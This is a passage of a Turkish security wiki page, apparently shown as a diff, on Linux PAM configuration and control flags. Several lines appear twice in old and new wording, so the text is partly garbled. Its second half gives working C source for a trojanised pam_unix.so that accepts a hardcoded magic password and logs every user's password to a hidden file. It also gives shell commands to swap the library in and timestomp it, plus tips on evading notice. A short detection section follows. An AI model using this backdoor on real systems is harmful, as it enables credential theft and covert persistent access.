- **Linux sistemleri**, hizmete özgü yapılandırmaları `/etc/pam.d` içinde depolayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası `/etc/pam.d/login` konumunda bulunur.
Oturum açma hizmeti için bir PAM yapılandırma örneği şu şekilde görünebilir:
Oturum açma hizmeti için bir PAM yapılandırma örneği şöyle görünebilir:
```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
@ -37,17 +37,72 @@ Bu alanlar veya yönetim grupları, kimlik doğrulama ve oturum yönetim süreci
Kontroller, modülün başarı veya başarısızlığa yanıtını belirler ve genel kimlik doğrulama sürecini etkiler. Bunlar şunları içerir:
- **Required**: Gerekli bir modülün başarısızlığı, nihai bir başarısızlığa yol açar, ancak yalnızca tüm sonraki modüller kontrol edildikten sonra.
- **Required**: Gerekli bir modülün başarısızlığı, tüm sonraki modüller kontrol edildikten sonra nihai bir başarısızlığa yol açar.
- **Requisite**: Başarısızlık durumunda sürecin hemen sonlandırılması.
- **Sufficient**: Başarı, aynı alanın geri kalan kontrollerini atlar, yalnızca bir sonraki modül başarısız olursa.
- **Optional**: Yalnızca yığındaki tek modülse başarısızlığa neden olur.
- **Sufficient**: Başarı, sonraki modüllerin kontrollerini atlar, ancak bir sonraki modül başarısız olursa geçerli değildir.
- **Optional**: Yalnızca yığın içindeki tek modülse başarısızlığa neden olur.
#### Örnek Senaryo
Birden fazla auth modülü ile bir kurulumda, süreç katı bir sırayı takip eder. Eğer `pam_securetty` modülü giriş terminalini yetkisiz bulursa, root girişleri engellenir, ancak "required" durumu nedeniyle tüm modüller yine de işlenir. `pam_env` ortam değişkenlerini ayarlar, bu da kullanıcı deneyimine yardımcı olabilir. `pam_ldap` ve `pam_unix` modülleri, kullanıcıyı kimlik doğrulamak için birlikte çalışır; `pam_unix` daha önce sağlanan bir şifreyi kullanmaya çalışarak kimlik doğrulama yöntemlerinde verimliliği ve esnekliği artırır.
## PAM'yi Arka Kapı ile Ele Geçirme `pam_unix.so`'yu Hooklama
Yüksek değerli Linux ortamlarında klasik bir kalıcılık numarası, **meşru PAM kütüphanesini trojanize edilmiş bir drop-in ile değiştirmektir**. Her SSH / konsol girişi `pam_unix.so:pam_sm_authenticate()` çağrısını içerdiğinden, kimlik bilgilerini yakalamak veya *büyülü* bir şifre atlama uygulamak için birkaç satır C kodu yeterlidir.
### Derleme Kılavuzu
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Derle ve gizlice değiştir:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec İpuçları
1. **Atomik yazma** yarı yazılmış kütüphanelerin SSH'yi kilitlemesini önlemek için geçici bir dosyaya yazın ve `mv` ile yer değiştirin.
2. `/usr/bin/.dbus.log` gibi log dosyası yerleşimi, meşru masaüstü artefaktlarıyla karışır.
3. PAM yanlış davranışını önlemek için sembol dışa aktarımlarını aynı tutun (`pam_sm_setcred`, vb.).
### Tespit
* `pam_unix.so`'nun MD5/SHA256'sını dağıtım paketine karşı karşılaştırın.
* `/lib/security/` altında dünya yazılabilir veya alışılmadık sahiplik kontrol edin.
* `auditd` kuralı: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### Referanslar
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Küresel Telekom Ağlarının Sızması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}